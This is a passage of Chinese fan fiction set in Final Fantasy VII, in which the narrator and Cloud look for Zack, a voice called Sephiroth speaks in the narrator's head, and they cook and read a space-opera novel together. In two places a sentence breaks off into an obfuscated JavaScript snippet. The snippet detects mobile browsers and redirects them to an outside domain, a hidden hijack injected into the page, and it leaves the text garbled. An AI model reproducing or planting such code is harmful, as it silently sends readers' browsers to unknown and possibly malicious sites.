扎克斯居然会打游戏,开了眼了。 “嗯,”克劳德点头确认,“他偶尔会去那里放松一下。那里的老板和他挺熟的,而且,”他顿了顿,“那里有一些特殊的…信息渠道。” “特殊的信息渠道?”我的兴趣被勾了起来,“听起来有点意思。是像小说里写的那种,藏在游戏机后面,需要对暗号才能进去的秘密据点吗?” 克劳德看了我一眼,那眼神仿佛在说“你想多了”。 “没那么夸张,”他否认道,“就是老板人脉比较广,消息灵通一些。有时候我们找不到合适的委托,也会去他那里碰碰运气。” 他抱着雪球,率先迈开了脚步。 “走吧,去看看。就算扎克斯不在那里,老板或许也知道他最近的动向。” “好吧,那就去游戏厅!”我立刻跟上,感觉这个选项比在武器街大海捞针靠谱多了,“不过说好了,要是找不到扎克斯,我们就在游戏厅里玩几把!我还没玩过游戏机呢!” 克劳德的脚步顿了一下,他没有回头。 “先找到人再说。“ 我们并肩穿梭在下层区的街道上。前往第七区的路比起刚才的市场稍微冷清了一些,但依旧能看到各种各样的人。扛着巨大扳手的修理工,穿着破旧皮甲、腰间别着短刀的佣兵,还有推着独轮车、叫卖着奇怪药水的小贩。 周围的建筑风格也更加混乱,有些是摇摇欲坠的铁皮棚屋,有些则是用废弃集装箱改造的店铺,墙壁上涂满了五颜六色的涂鸦,有些图案古怪又抽象,有些则直接是某个帮派的标志。 “喂,陆行鸟,”我看着旁边墙壁上一个画着独眼乌鸦的涂鸦,随口问道,“这个是什么帮派的标志?看起来挺嚣张的。” 克劳德顺着我的目光看了一眼,然后摇了摇头。“不知道,下层区的帮派太多了,标志也换得很快。”他抱着雪球,目不斜视地继续往前走,“我们尽量别惹麻烦。” ”哦,我们万能工也能有自己的涂鸦吗?我想要黑色打底的,你觉得怎么样?“ 克劳德没接话,只是加快了脚步。 走着走着,我注意到克劳德怀里的雪球,正伸出粉嫩的小舌头,一下一下地舔着克劳德的手指。 说也有些奇怪,我们三个人里,最喜欢跟雪球玩的人是扎克斯,最嫌弃这只蠢猫的人是我,克劳德处于中间态度,顺手的时候会摸一下它。 但它居然更缠我和克劳德。 我一伸出手,那只猫就亮晶晶的望向我,一副渴望抚摸的模样。 蠢猫。 我挑了挑眉,手掌往上。 扯了把克劳德的发尾。 “……” 克劳德只是极其轻微地侧了侧头,幅度小到几乎难以察觉,似乎想看看我到底要做什么,但最终还是什么都没说。 于是我跟在他身后,不停的戳他的头发。 他那头金色的刺猬头,手感果然很有趣,发根的部分意外地柔软,但发梢却根根分明,带着点韧劲。 雪球巴巴的看着我,似乎在期待我的手有朝一日落在它身上。 走着走着,我们已经走到了第七区的中心地带。这里的街道明显比刚才宽敞整洁了一些,虽然依旧破旧,但至少没有堆积如山的垃圾。空气中的怪味也淡了不少。 前方不远处,一个巨大的、造型奇特的招牌出现在视野里——一只用霓虹灯管勾勒出的、正在奔跑的黄色陆行鸟,下面歪歪扭扭地写着几个大字:“陆行鸟天堂 GAME”。 我立马丢下了克劳德的头发,就准备冲进去看看什么样,刚往前走,黑色的兜帽就被人轻轻拉住了。 我回过头,与他面面相觑。 “……” “干嘛?” “别直接冲进去。” 话音刚落,克劳德就慢慢的松开了手,不知道是不是我的错觉,他戳了戳我的发尾。 这只陆行鸟居然敢报复我? “喂!陆行鸟!”我转过身,瞪着克劳德,“你刚才是不是戳我头发了?” “……没有,不小心碰到的而已。” 他可疑的停顿了,那双青色的眸子没有落在我身上。 我正要伸出手把他的头发全部揉乱,就有一个拿着酒瓶的醉鬼从里面踉踉跄跄的走出来,打了个酒嗝。 “哟,”他口齿不清地嘟囔着,嘴角咧出一个笑,露出几颗发黄的牙齿,“这、这不是那个…那个谁来着,对!万能工!金毛的那个!” 他说话的时候,唾沫星子乱飞,一股浓烈的酒精味扑面而来。 “嘿嘿,你、你怎么一个人在这儿啊?”醉鬼往前凑了凑,身体晃得更厉害了,差点一头栽倒。 “我们正在找他,你看见扎克斯了吗?” 克劳德看起来跟对方认识,雪球的脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479186|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往他怀里钻了钻,显然不喜欢这个味道。 “那个黑头发的小子,他…嗝…他今天没跟你在一起!对……他去第五区了!我早上还看见他了呢!” 第五区?这不就是我们家的位置吗? 原来扎克斯近在咫尺。 我皱起眉头,看向那个醉醺醺的家伙,“你确定没看错?” “当然确定!嗝!他,他那个黑头发,还有那把,那把跟门板一样的大剑!错不了!就在那个…那个卖花的教堂附近看到的!” 第五区确实有个废弃的教堂。 不过我好像从来没去过那边,甚至连附近的区域都没靠近过。 仔细一想,好像……我从来没有自己独自外出的机会。 大多时候都是有扎克斯统一的三人行动,比较少的时候会跟克劳德一起出门——也只是在楼下采购些什么。 “第五区的废弃教堂…”克劳德的声音低沉,“他去那里做什么?保养剑的地方应该不在那边。” 克劳德之前大概真的对扎克斯的理由深信不疑。 “谁知道呢!嗝!”醉鬼打了个更响亮的酒嗝,身体又晃悠了一下,“也许是去…去祈祷?祈祷他赌钱能赢?嘿嘿嘿!” 他发出难听的笑声,然后摆了摆手,似乎觉得跟我们说话没意思了。 “不跟你们聊了,我,我要回去继续喝!嗝!祝你们…找到那个黑头发的小子!” 说完,他转身就走,脚步踉跄,差点撞到旁边一个卖生锈零件的摊位,引来摊主不满的叫骂声。 小巷入口处只剩下我和克劳德,还有趴在他怀里安静舔爪子的雪球。 刚才那阵短暂的喧闹过后,周围的嘈杂声似乎又变得清晰起来。 我伸出手扯了扯克劳德的袖子,正在深思的金发男人抬起头,与我相对视。 “走吧,我们去找扎克斯!等下我们还要一起抓鸟呢。” “……嗯。” 我们重新汇入街道的人流,逆着刚才的方向往回走。从相对热闹的第七区中心地带,逐渐走向与第五区接壤的边缘区域。 空气中的味道也再次变得复杂起来,铁锈味、油污味、劣质燃料燃烧的呛人烟气,还有隐隐约约的腐臭味混合在一起,刺激着鼻腔。 我想起刚刚那个醉鬼的话——米德加下层区这样的环境,居然还能种出花。 真是稀奇。 我并不认识路,就亦步亦趋的跟在克劳德身后,他步伐稳健,只是微微垂眸,思索着什么。 大概是在思考扎克斯隐瞒我们的原因吧。 “陆行鸟,是往那里走吗?嗯?” “……” 克劳德没有回话。 在他怀里的雪球跳了下来,坐在我们脚边,那对蔚蓝的眸子扫过我和克劳德。 似乎在等待着什么。 巷子内,克劳德忽然停了下来,半靠在冰冷粗糙的墙壁上,一手捂着额头,另一只手无力地垂在身侧。 几缕发丝被从额角渗出的薄汗濡湿,黏在苍白的皮肤上。克劳德的呼吸有些急促,胸口微微起伏,身体也难以抑制地轻颤着。 “又发病了?” 自克劳德第一天头痛之后,他的突发恶疾就变得频繁起来,我凑近,握住他那只因为疼痛而微微颤抖的手,接着轻车熟路的把他半扛在怀里。 啊,看来教堂是去不成了。 先带这只陆行鸟回家吧。 “抱歉…”克劳德低声说道,脑袋无力地靠在我的肩窝,金色的发丝蹭得我脸颊痒痒的。 他压的很紧,头发都要进我嘴里了。 “教堂里,应该,跟你有关……我没事。你还是应该去看看……” 什么? 跟我有关? 我眨了眨眼。 克劳德勉强伸出手,他的手掌压在旁边的墙上,想要借力从我身上起来。 “扎克斯只会……对你的事情缄口……可能有什么我们都不知道的——” 我单手把克劳德整个人压在怀里。 他的重量对我而言只是一般。 事实上,我应该可以把克劳德和扎克斯一起扛着跑。 “哦,没事。” “你更重要,先回去吧。” “……” 克劳德整个人僵了僵。 他靠在我肩窝的脑袋微微抬起了一些,虽然依旧低垂着,但我能感觉到他呼吸的节奏被打乱了,变得有些急促,又像是在刻意压抑着什么。 我见他不再动了,就这样把他边搬着边往出租屋的方向走。 走着走着,这只陆行鸟突然抓住了我的袖子。 “去教堂,等下我们再回去。” 不是你怎么想一出是一出呢? 我有些不耐烦,手上稍微加了点力气,想把他直接像麻袋一样扛起来带走。 “别折腾了,我看你现在这样子,一阵风都能吹倒。先回去休息,教堂又不会长腿跑掉,扎克斯那家伙也丢不了。” 克劳德却意外地坚持,他抓着我袖子的手虽然还在微微颤抖,但力道却不容忽视。“我没事,”他固执地重复道,声音依旧有些虚弱,但语气却很坚定,“只是刚才一下子有点难受,现在好多了。” 他试图从我怀里挣脱出来,但是没什么力气,只是象征性地动了动。 “扎克斯的事情很奇怪,”他低声解释着,似乎是为了说服我,也像是在说服自己,“他从来不会无缘无故地对我们撒谎……只有对你的事。你应该去看看。” “啧,你别等下又改主意。” 警告过后,我把克劳德像个麻袋一样抗在肩膀上,接着转过头,往教堂出发。 “……” 他的腿扑棱了几下,很快就放弃了挣扎。 雪球从我们刚才待的小巷子里小跑着跟了出来,它轻盈地跳过地上的水洼和垃圾,不远不近地缀在我们身后。偶尔抬起头,用那双蓝色的眼睛看看被我扛着的克劳德,又看看走在前面的我,尾巴尖轻轻摇晃。 我们拐过一个弯,离开了刚才相对熟悉的街道,进入了通往第五区教堂的路径。这里的环境明显更加破败。 路上的行人也更加稀少,偶尔遇到几个,看向我们的眼神都带着麻木和警惕,没有人会主动靠近。 走着走着。 “你现在的状态不稳定,回去。” 我的脑内突然传出了一个声音。 “……” 我停下了脚步,半扛着没了力气的金毛陆行鸟,四顾张望。 周围什么人也没有。 也不是发病时那种有人在耳畔说话的感觉。 这声音……直接是从脑子里传出来的。 这,这…… 低沉的,磁性的,带着些许上扬音调的音色。 难道说我—— “……你是?” 我小心翼翼地发问。 脑内的音调稍稍顿了顿,过了会,那几个音节慢条斯理的响起,带着某种笃定和自然而然流露而出的熟稔。 ”萨菲罗斯。“ 我猛停了下来。 颠簸停止,克劳德勉强抬起脑袋看我,那对青色的眸子闪过疑惑。 因为激动,我的声音都有些颤抖。 ”克劳德,我告诉你一件事,你别不信……“ ”我好像觉醒系统了。“ 而且这个系统的名字居然和某种高级调味料有关。 ”……“ 44. 第41章 话音刚落,我就闭上了嘴。 刚刚还是太激动了,一不小心就把我的系统说了出来——从没有任何一本小说的主角暴露过系统的存在。 “克劳德,我刚刚什么都没说。” 我开始如若无事的找补。 快痛晕过去的克劳德显然已经习惯了我莫名其妙的语言,他只是闷闷的嗯了一声。 系统不让你去第五区的废弃教堂,你去不去? 我不去。 指不定这是什么觉醒的必备前置任务呢? 虽然我确实有些好奇扎克斯在搞什么鬼,但下周同一时间可以再来。 于是我扛着迷迷糊糊的陆行鸟回到了我们的出租屋。 踢开门(因为手被占用了),一股熟悉的、混杂着灰尘和一点点食物残渣味道的空气扑面而来。 房间里很安静,只有角落里那个老旧冰箱发出的微弱嗡鸣声。扎克斯不在,整个屋子都显得空荡荡的。 我径直走到那张吱呀作响的旧沙发旁,手臂一松,熟练地把克劳德丢了上去。 “咚”的一声,伴随着沙发的呻吟,克劳德软绵绵地陷在里面,金色的脑袋歪向一边。 雪球轻巧地跳上沙发,凑到克劳德脸边,用小鼻子嗅了嗅,然后找了个舒服的位置,蜷缩成一团,趴在他胸口,喉咙里发出轻柔的咕噜声。 我看着这一人一猫,撇了撇嘴。 好了,麻烦的家伙处理完毕。 我伸了个懒腰,走到厨房区域,打开那个老旧的冰箱门。果不其然,里面只有半瓶不知道放了多久的番茄酱和几个干瘪的洋葱和土豆。 我开始严肃的呼唤脑海里的调味料系统。 “系统系统,你是食神系统吗?还是什么饭馆系统?你可以让洋葱和土豆变成烤肉吗?” “系统系统。” “系统。” “萨菲罗斯。” “萨菲罗斯。” 什么,难道我觉醒失败了吗?可恶…… “先把土豆去皮。” 我点点头,生涩的拿起旁边的小刀,干脆地将土豆剔的干干净净——对于刀的操控,我总是得心应手。 “好了,皮都削完了,”我对着脑海里的那个声音说道,语气轻快,“系统,现在可以把它们变成烤肉了吗?” 我满怀期待地等待着奇迹的发生。 是会像小说里那样,一道白光闪过,土豆就“嘭”地一声变成香喷喷的烤肉?还是需要我念什么咒语? 脑海里的声音沉默了几秒。 “把土豆切块。” 我把土豆放在那个同样旧兮兮的砧板上,回忆着扎克斯或者克劳德之前做饭(虽然次数不多,而且味道大多不怎么样)时的动作。 下刀。 哐! 一声脆响,土豆没事,菜刀的刀刃…好像更钝了一点。 “……” 我看着那把嵌在砧板里、纹丝不动的菜刀,陷入了沉默。 “用巧劲,不是蛮力。” 脑海里的声音适时响起,带着一丝若有若无的…我说不上来。 什么,系统说话原来是有感情和语气的吗?我以为会像小说里一样是机械音呢。 “我知道要用巧劲!”我不服气地反驳,试图把刀拔出来,结果刀卡得更紧了,“是这刀太钝了!” “换个角度,沿着纤维纹理。” 系统又给出了提示。 我哦了一声拔出刀,顺着他的话,一下就将土豆切好。 大小均匀、棱角分明,切口光滑平整,堪比机器切割。 “厉害吧!”我看着砧板上的土豆块,得意地向脑海里的系统炫耀,“切的多好。” 没等系统回应,我已经开始畅想下一步了。 “系统系统,土豆已经切好了!现在是不是可以开始变烤肉了?” “……” “洋葱。” 最终,它只吐出了这两个字。 “洋葱?” 我愣了一下,低头看了看旁边那几个干瘪得快要脱水的洋葱,“也要把洋葱切了吗?切洋葱跟变烤肉有什么关系?” 难道是某种神秘的仪式?需要特定的食材作为祭品或者媒介?就像那些小说里写的,召唤恶魔需要献祭点什么东西? “哦哦,我懂了!”我自以为抓住了关键,“是不是把洋葱也切好,和土豆放在一起,然后你念个咒语,‘嘭’的一声,它们就都变成滋滋冒油的烤五花肉和烤牛舌了?” “……” 系统又沉默了。这次沉默的时间有点长。 “喂?系统?萨菲罗斯?”我试探性地呼唤着,“你还在吗?是不是能量不足了?要不要我去找点魔晶石给你充能?” “把洋葱去皮,切丁。” “好吧好吧,切洋葱就切洋葱。”我嘟囔着,拿起一个干瘪的洋葱。 这个比切土豆麻烦多了。 干枯的外皮剥起来窸窸窣窣掉渣,露出的内里辣眼睛得很。刚切了两下,一股刺激性的气味就直冲眼眶,呛得我眼泪汪汪。 “嘶…哈…” 我一边揉着眼睛,一边抱怨,“这什么破洋葱!” “专注。” 脑海里的声音依旧简洁。 “知道了知道了!”我没好气地应着,强忍着泪意,加快了手上的动作。 吸取了刚才切土豆的教训,这次我没用蛮力,而是小心地顺着洋葱的纹理下刀。虽然眼睛依旧被熏得难受,但手上的动作却越来越熟练。很快,一个洋葱就被我切成了大小均匀的细小颗粒。 我把切好的洋葱丁和土豆块放在一起,看着这两种颜色和气味都毫不相干的东西,再次向系统确认。 “好了!洋葱也切好了!这次总该可以变烤肉了吧?”我充满期待地问,眼睛因为刚才流泪而显得水汪汪的,更添了几分渴望,“快点快点!我肚子都快饿扁了!” “锅。” “哦,好吧。” 十五分钟后。 我看着锅里被炒出烤肉香气的土豆,恨不得把脸埋进去。 也不知道系统是怎么做的,他就让我加番茄酱,一些酱油,还有一些不知道别的什么东西混起来——土豆真的变成烤肉了。 我正要伸出手去尝尝它的味道,就被系统阻止了。 “关火,找个盘子。” “还要盘子?”我动作一顿,有些不耐烦,“直接用锅吃不行吗?洗盘子很麻烦的!”我最讨厌洗碗洗锅了! “烫。” 系统言简意赅地指出了关键。 “……好吧。”我只好悻悻地关掉灶火,开始在旁边翻找,随便找了一个我们常用的盘子,上面还印着金色的卡通陆行鸟。 用水随便冲了一下,我就把锅里那些散发着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479187|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诱人“烤肉”香气的土豆块一股脑地倒了进去。 深红色的酱汁浓稠地挂在土豆块上,热气腾腾,那股霸道的肉香更加肆无忌惮地冲击着我的嗅觉神经。我甚至能看到酱汁表面因为高温而冒起的细小气泡。 我咽了口口水,感觉自己的肚子叫得更厉害了。 “系统!盘子装好了!现在总能吃了吧!”我端着盘子,迫不及待地问道。 “嗯。” 终于得到了许可,我立刻拿起筷子,夹起最大的一块“烤肉土豆”,它还烫得直冒白气。顾不上吹凉,我直接张大嘴巴,一口咬了下去! “唔——!” 意料之外的口感和味道瞬间在口腔中炸开! 外层的酱汁浓郁粘稠,带着强烈的烟熏风味和复杂的香料气息,甜、咸、辣、鲜,各种滋味交织在一起,冲击着味蕾。而被酱汁包裹的土豆块,内里却依旧保持着土豆原本的、软糯绵密的口感。 这和真正的烤肉完全不同,真正的烤肉是有嚼劲的,带着肉类的纤维感。但这“土豆烤肉”,外表和香气都模仿得惟妙惟肖,口感却完全是土豆! 可是!该死的!这味道也太像了吧! 那种浓郁的、仿佛经过长时间腌制和炭火炙烤才能形成的复合肉香,几乎完美地复刻了出来。酱汁的味道层次丰富,后味甚至还带着一丝丝类似黑胡椒的辛辣,刺激着舌苔,让人忍不住想吃第二口。 “好吃!” 我瞪大了眼睛,一边快速咀嚼着,一边含糊不清地发出赞叹,“系统!你太厉害了!这味道简直绝了!虽然口感是土豆,但这味道!跟真的烤肉一模一样!” 我飞快地把嘴里的咽下去,立刻又夹起第二块、第三块…… 简直停不下来。 软糯的土豆吸收了那神奇的酱汁,变得异常入味。每一口下去,都是浓郁肉香和土豆本身清甜的奇妙融合。 “喜欢?” 脑海里的声音突然响起。 “喜欢!太喜欢了!” 我头也不抬,嘴里塞满了土豆,喝了口水后,我夹起一块土豆,突然想到了什么。 “萨菲罗斯,你能吃东西吗?” 脑海里的那个声音,在我问出那个问题后,停顿了那么一两秒。 时间不长,但我莫名地感觉到了一种…惊讶的意味。 “你喜欢就好。” 最终,他只回应了这么一句,巧妙地避开了我的问题核心,把重点重新拉回了食物本身。 我吃完东西后,放下筷子,擦了擦嘴,一时也不想洗碗,半趴在桌子上,开始询问系统问题。 “系统,你会给我颁布任务吗?”我用手指戳着桌面上残留的酱汁,“就像我看的那些小说里写的一样,完成任务就能获得经验值或者奖励什么的?” “还有,你有那种,可以兑换东西的系统商城吗?”我眼睛亮了起来,开始幻想,“里面有没有卖永远吃不完的零食?或者那种一刀就能砍爆星球的神器?” “对了,你会抹杀我吗?小说里的系统好像都挺危险的,动不动就要抹杀宿主。” 我抬起头,虽然眼前空无一人,但我知道“他”在听。 脑海里的声音彻底沉默了。 正当我准备继续在脑子里轰炸他时—— “清理厨房区域,将使用过的餐具和厨具清洗干净,归置原位。这是任务一。” 45. 第42章 我的跟踪计划暂时暂停了。 扎克斯好像有事,他那天后就表示自己要外出一趟,特意叮嘱强调了不要让我出门后,又拉着克劳德单独聊了一会。 我在客厅看小说。 “系统”在我耳边说话。 他的话好像越来越多了——就像是好几年没说过话一样。 “不好奇他们在说什么吗?” “……” 我眼睛盯着书页,没理他。 好奇?是有点好奇。扎克斯的表情严肃得好像要去执行什么S级任务一样,肯定不是什么小事。而且,他特意避开我,单独找克劳德谈,这就更可疑了。 但是,好奇归好奇,让我放下好看的小说,跑去门口偷听? 太麻烦了。 “可能在讨论你的事情。” 系统见我没反应,又补充了一句。 我终于从小说中抬起头。 “我的事有什么好讨论的?难不成他们在商量怎么把我卖掉换烤肉吃?” 脑海里的声音在我反问之后,沉默了片刻。 “因为你和他们是不一样的。” “不一样……难道我是草莓味的,他们是香草味的?还是说我是限定版,他们是普通版?” 我用看待商品或者零食的逻辑来理解他这句没头没脑的话。在我看来,人与人之间最大的不同,无非就是口味或者稀有度的区别。 比如,有些人像干脆面,便宜量大,但没什么特别的味道。有些人则像某种进口巧克力,包装精美,价格昂贵,但吃起来也就那样。 至于我自己嘛,大概是那种还没上市、只存在于传说中的、吃了能让人原地飞升的神奇糖果吧! 独一无二,绝无仅有! “……” 我听见脑海里那个系统低低的笑了一声,这还是第一次我听见它笑。 不过系统是能笑的吗? “你确实是‘限量版’。” 我见他不执着于让我去偷听克劳德他们的对话,就继续看书,随便指了一个情节。 这里主角刚刚拿下了第一个殖民星球,巧合之间攻破了虫族的一个巢穴,也是后期主角和虫族女王的线路的第一个交点。 “你不觉得这个情节很帅吗?” 主角带领着他的舰队,如同黑色的潮水席卷了那个负隅顽抗的殖民星球,巨大的星舰主炮发出毁灭的光束,将地表防御工事夷为平地。随后,精锐的动力甲部队空降,摧枯拉朽般攻破了最后的抵抗,将象征着旧政权的旗帜扯下,换上了主角那代表着铁血与征服的徽记。 紧接着,画面一转,主角又指挥着部队,像捅马蜂窝一样端掉了一个隐藏极深的虫族巢穴,缴获了大量的能源晶体和虫族科技。 “这是虫族的计谋。” “!!!” 我猛地抬头。 脑海里的声音继续剧透。 “到后期第三颗星球的时候,主角会遇见虫族女王。这是她为了与他合作送出的诱饵,然后,主角会被植入寄生虫——” “停停停!你怎么知道的?你看过吗?” 这是正常系统吗?正常系统会看轻小说? 原版的剧情我是第一次看啊! “你曾经看过很多遍。” 系统留下了这么一句莫名其妙的话。 这时,扎克斯和克劳德的长谈终于结束了,金毛陆行鸟的表情有些奇怪,扎克斯回过头摸了摸雪球后,就出门了。 “前辈要好好待在家里啊!” 扎克斯“砰”地一声关上门走了,留下我和表情依旧有些奇怪的克劳德面面相觑。还有那只趴在沙发扶手上舔爪子的白猫。 客厅里一下子安静下来,只剩下老旧冰箱持续不断的低沉嗡鸣。 “他搞什么鬼神神秘秘的,”我放下手里那本被剧透了的小说,感觉有点扫兴,“出门就出门,还特意把你拉到一边嘀嘀咕咕半天。怎么,怕我偷听啊?” 克劳德正低着头,手指无意识地拨弄着裤子上一个磨损的线头。听到我的话,他抬起头,那双青色的眸子有些躲闪,没有直接回答我的问题。 “扎克斯只是…有点担心外面的情况,”他含糊地解释道,声音比平时低沉一些,“最近下层区不太平,他让我…注意安全。” 克劳德简直就把“我在说谎”写在脸上了。 不过,这只陆行鸟是个很简单的突破口。 我放下小说,坐在他旁边,接着拍了拍他的肩膀。 “克劳德,你说,扎克斯是挺鬼鬼祟祟的对吧?” “……” “没有,”克劳德的声音闷闷地响起,他终于舍得把视线从那个可怜的线头上移开,但依旧没有看我,而是转向了趴在沙发另一头打盹的雪球,“扎克斯他只是…嗯,比较有活力,想法也多。” 我又凑近了些,故作可怜的看着他。 “克劳德,我们是伙伴。伙伴之间——不应该有互相隐瞒的吧?” “……” 克劳德跟个死人一样闭着嘴。 我的耐心耗尽了,直接把他压在沙发上晃他的肩膀。 “克劳德!快说!” “扎克斯那家伙到底跟你说了什么悄悄话?是不是在计划什么坏事?比如,偷偷把我的零食藏起来了?” 我能想到的最坏的事情,大概也就是这个了。 “没有!”克劳德终于不再沉默,他试图扭动肩膀,想从我的钳制中挣脱出来,但力气似乎不大,“他没有说你的坏话!也没有藏你的零食!” 他的声音比平时稍微响亮了一些,带着点被冤枉的急切,“扎克斯只是,只是交代了一些任务相关的事情!有些内容需要保密,不能随便说!” 他试图用“任务保密”这个万能的借口来搪塞我,眼神飘忽着,不敢与我对视。 “任务保密?”我挑了挑眉,显然不信他这套说辞,“什么任务需要这么神神秘秘的?还要特意避开我谈?难道是关于我的任务?比如,找人把我抓回去做实验?” 我故意说得危言耸听,想看看他的反应。 克劳德的脸色微微变了变,他飞快地看了我一眼,然后猛地摇头:“不是!跟你没关系!不要再问我了……” 我凑得更近了些,几乎能数清他那长长的金色睫毛。他身上有股淡淡的洗衣粉味 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“怕我引起注意?”我觉得这个理由更可笑了,“我什么时候怕过引起注意了?再说了,他自己顶着那头黑毛刺猬头,背着那把大剑,难道就不引人注意了?” 我觉得他的借口越来越离谱了。 “总之!”克劳德似乎放弃了寻找更合理的解释,他深吸一口气,抬起头,迎上我的目光,虽然眼神里还有些许闪躲,但语气却变得坚定了一些,“扎克斯不让说,我就不能说。这是我们之间的约定。你就算再问,我也不会告诉你的。” 他说完,再次尝试推开我,这次力道稍微大了一些。 啧,这只陆行鸟,平时看起来闷闷的,关键时刻还挺讲义气。 “约定?”我重复着这个词,松开了按着他肩膀的手,往后退了一步,重新在沙发上坐好。 既然硬的不行,那就… “好吧,”我故作大度地耸耸肩,拿起旁边那本被冷落的小说,重新翻开,“既然是约定,那就算了。不过,”我话锋一转,抬眼看向他,“等扎克斯回来,我亲自去问他。到时候要是让我发现你们两个合起伙来骗我…” 我故意顿了顿,没把话说完,只是用手指在空中比划了一个“咔嚓”的手势。 克劳德看着我那副“恶狠狠”的样子,又看了看我手里那本小说,最终只是无奈地叹了口气,伸手揉了揉被我按红了的肩膀。 “他不会骗你的,”克劳德低声说道,声音里带着一种连他自己都没察觉到的疲惫,“扎克斯他…只是想保护你。” “保护我?”我嗤笑一声,“我需要他保护?别到时候他自己被人打趴下了,还要我去救他。” 克劳德没再接话,他重新低下头,沉默地看着自己的手指。 客厅里再次陷入安静。 我翻着手里的书页,心思却已经飘到了别处。 扎克斯到底在搞什么鬼?保护我?听起来真别扭。 “扎克斯在提防你。” 脑海里,萨菲罗斯的声音突然响起。 我翻书的动作停了下来。 ”人类的情感是复杂且不可靠的。“ “他知道你和他们不同。他害怕你潜在的力量,也害怕你失控。” 46. 第43章 这系统说话怎么怪怪的? “他当然要提防我,我这么强,如果有天我不爽了毁灭世界怎么办?” “说实话,我觉得扎克斯就应该狠狠讨好我,比如下次吃烤肉的时候不跟我抢。” “……” 系统沉默了。 我于是继续研读我的人生指导小说。 旁边的克劳德依旧保持着沉默,低着头,不知道在想些什么。 雪球大概是觉得沙发扶手睡得不舒服了,悄无声息地跳了下来,迈着小碎步走到克劳德脚边,用脑袋轻轻蹭了蹭他的小腿。 克劳德像是被惊醒了一般,身体微微一动,低头看向脚边的白猫。他伸出手,动作有些迟疑,但还是轻轻落在了雪球的背上,一下一下地抚摸着。 “你,”克劳德的声音打破了沉默,听起来还有点闷闷的,他似乎犹豫了一下,才继续说道,“你看的这本书,好像很有意思的样子。讲的是什么?” 他主动搭话了?稀奇。 我从书里抬起头,看了他一眼。 他依旧没有看我,视线落在怀里的雪球身上,手指轻柔地梳理着猫咪柔软的毛发。 “我告诉你你别吓到。” 我接着十分严肃且手舞足蹈的讲述了我看到现在的剧情(不包括漫画版的,那个剧情我不认)。 “主角一开始是个米德加下层小诊所内的实习医生,然后某天他走在路上,忽然脑内传来了声音,他觉醒系统了……现在主角带着星际部队攻下了第一个星球,顺便剿灭了虫族的巢穴。” 想起了系统的剧透,我补充了一句。 “后面有反转。” “……” 克劳德的表情有些难以言喻。 "听起来……很有趣。" 我狠狠的点头,接着凑过去,跟他一起看后面的情节。 现在主角回到了他的本星召开会议,会议结束后,正和他手下的两位大将一起开庆功宴。 元气满满的后辈黑发美少女在桌子对面不停的吃着东西,一边笑嘻嘻的跟主角讲述她今日带兵清除敌军星舰的事迹。 另一边,有些闷闷的金毛少女安静的坐在他身侧,只是一昧的喝茶,时不时看他一眼。 我不知道这种剧情有什么好写的,严重怀疑作者是不是水字数——我正要往下翻页,直接翻到大战的大场面震撼克劳德时,发现他此时看的很仔细。 “……她是女主角吗?” 我顿了顿,抬起头。 “你问谁?” “这个金发的女孩子。” 他不说我都没有注意到。这段宴会的剧情里,我的注意力全在美食描写上。 “呃……不是。她的剧情好像是——星球被虫族毁灭的唯一幸存者,然后开始跟着主角一起建设星际帝国,平时都闷得跟个背景板一样,这不很明显的战力工具人吗?” “她的感情戏写的很细腻。” 说着,克劳德指着某一段的开头。 【她浅浅的笑了一下,又在他转过头来的瞬间低下了头……】 “……” 就这只言片语的,就感情戏了吗? “得了吧,这本书根本就没有女主角。” 我反驳一句后,和他继续往下看。 接下来的剧情就是很正常的升级流,主角在星海议会上装逼打脸,将一众外星人说的羞愧难当,还有经典的“狗眼看人低”剧情。 然后,虫族女王果然在第三次征伐中登场了。 主角一个不注意,居然被寄生虫寄生——金发少女挥舞大剑往前劈砍,却只劈到了幻影,她急忙去看在地上不省人事的主角。 克劳德的眉毛皱的都能开轿车了。 【虫族女王发出一阵轻柔而诡异的笑声,她的身影连同那团黑雾一起,如同泡沫般消散在空气中。】 【“怎么会…”金发少女的声音带着绝望的颤抖,她看着倒在地上的主角,看着他苍白的脸和那个不祥的印记,金色的眼眸中第一次流露出无助和恐惧,“为什么…我没有劈中…为什么!”】 【她的剑明明那么快,那么准,却在那一瞬间,仿佛失去了目标。】 “…为什么会劈空…” “这有什么好奇怪的?”我倒是没觉得有什么大不了的,一边翻页一边随口评论道,“肯定是那个虫族女王搞的鬼啊!用了什么幻术或者空间扭曲之类的能力呗。再说了,那个金发工具人看起来就不怎么厉害,关键时刻掉链子也很正常。” “她没有掉链子!”克劳德突然反驳道,声音比平时提高了不少,带着一种异样的激动,“她的剑很快!很准!她已经尽力了!” “我倒觉得是那个主角自己太蠢了,这段剧情要是让我来演,肯定把虫族女王的头砍下来。” 这时,我脑子里的系统发声了。 【 “不是他太蠢。只是因为,他早早的就被她留下了印记。整个宇宙中,他们才本该是在一起的。”】 ?? 然后我就听到了克劳德和我的系统你一言我一语的“党争”发言。 “就算主角被寄生了,她也绝对不会放弃的!她一定会想办法救主角!无论付出什么代价!” 【 “凡人是无法理解他们的,无论再怎么努力,也只是空谈。他最终会回到她身边。”】 “只有在他身边,她才会展露笑颜——她想要守护他又有什么问题?” 